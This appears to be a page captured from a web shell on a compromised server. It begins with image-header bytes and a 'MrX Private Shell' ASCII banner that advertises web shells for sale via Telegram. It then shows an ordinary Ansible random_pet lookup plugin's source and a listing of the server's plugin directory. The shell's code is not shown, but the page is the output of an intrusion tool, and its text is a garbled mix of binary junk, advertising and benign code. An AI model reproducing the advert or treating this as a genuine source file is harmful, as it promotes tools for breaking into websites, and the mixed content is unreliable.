����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# Copyright (c) 2021, Abhijeet Kasurde <akasurde@redhat.com>
# Copyright (c) 2018, Ansible Project
# GNU General Public License v3.0+ (see LICENSES/GPL-3.0-or-later.txt or https://www.gnu.org/licenses/gpl-3.0.txt)
# SPDX-License-Identifier: GPL-3.0-or-later
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = r'''
name: random_pet
author:
- Abhijeet Kasurde (@Akasurde)
short_description: Generates random pet names
version_added: '3.1.0'
requirements:
- petname U(https://github.com/dustinkirkland/python-petname)
description:
- Generates random pet names that can be used as unique identifiers for the resources.
options:
words:
description:
- The number of words in the pet name.
default: 2
type: int
length:
description:
- The maximal length of every component of the pet name.
- Values below 3 will be set to 3 by petname.
default: 6
type: int
prefix:
description: A string to prefix with the name.
type: str
separator:
description: The character to separate words in the pet name.
default: "-"
type: str
'''
EXAMPLES = r'''
- name: Generate pet name
ansible.builtin.debug:
var: lookup('community.general.random_pet')
# Example result: 'loving-raptor'
- name: Generate pet name with 3 words
ansible.builtin.debug:
var: lookup('community.general.random_pet', words=3)
# Example result: 'fully-fresh-macaw'
- name: Generate pet name with separator
ansible.builtin.debug:
var: lookup('community.general.random_pet', separator="_")
# Example result: 'causal_snipe'
- name: Generate pet name with length
ansible.builtin.debug:
var: lookup('community.general.random_pet', length=7)
# Example result: 'natural-peacock'
'''
RETURN = r'''
_raw:
description: A one-element list containing a random pet name
type: list
elements: str
'''
try:
import petname
HAS_PETNAME = True
except ImportError:
HAS_PETNAME = False
from ansible.errors import AnsibleError
from ansible.plugins.lookup import LookupBase
class LookupModule(LookupBase):
def run(self, terms, variables=None, **kwargs):
if not HAS_PETNAME:
raise AnsibleError('Python petname library is required. '
'Please install using "pip install petname"')
self.set_options(var_options=variables, direct=kwargs)
words = self.get_option('words')
length = self.get_option('length')
prefix = self.get_option('prefix')
separator = self.get_option('separator')
values = petname.Generate(words=words, separator=separator, letters=length)
if prefix:
values = "%s%s%s" % (prefix, separator, values)
return [values]
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| bitwarden.py | File | 5.74 KB | 0644 |
|
| cartesian.py | File | 2.72 KB | 0644 |
|
| chef_databag.py | File | 3.37 KB | 0644 |
|
| collection_version.py | File | 4.81 KB | 0644 |
|
| consul_kv.py | File | 6.68 KB | 0644 |
|
| credstash.py | File | 4.84 KB | 0644 |
|
| cyberarkpassword.py | File | 6.33 KB | 0644 |
|
| dependent.py | File | 8.79 KB | 0644 |
|
| dig.py | File | 17.84 KB | 0644 |
|
| dnstxt.py | File | 3.45 KB | 0644 |
|
| dsv.py | File | 4.38 KB | 0644 |
|
| etcd.py | File | 5.08 KB | 0644 |
|
| etcd3.py | File | 7.33 KB | 0644 |
|
| filetree.py | File | 7.27 KB | 0644 |
|
| flattened.py | File | 3.37 KB | 0644 |
|
| hiera.py | File | 2.8 KB | 0644 |
|
| keyring.py | File | 2.14 KB | 0644 |
|
| lastpass.py | File | 3.15 KB | 0644 |
|
| lmdb_kv.py | File | 3.74 KB | 0644 |
|
| manifold.py | File | 10.61 KB | 0644 |
|
| merge_variables.py | File | 6.92 KB | 0644 |
|
| onepassword.py | File | 22.14 KB | 0644 |
|
| onepassword_raw.py | File | 4.15 KB | 0644 |
|
| passwordstore.py | File | 20.61 KB | 0644 |
|
| random_pet.py | File | 2.85 KB | 0644 |
|
| random_string.py | File | 7.04 KB | 0644 |
|
| random_words.py | File | 3.72 KB | 0644 |
|
| redis.py | File | 3.44 KB | 0644 |
|
| revbitspss.py | File | 3.31 KB | 0644 |
|
| shelvefile.py | File | 2.95 KB | 0644 |
|
| tss.py | File | 9.17 KB | 0644 |
|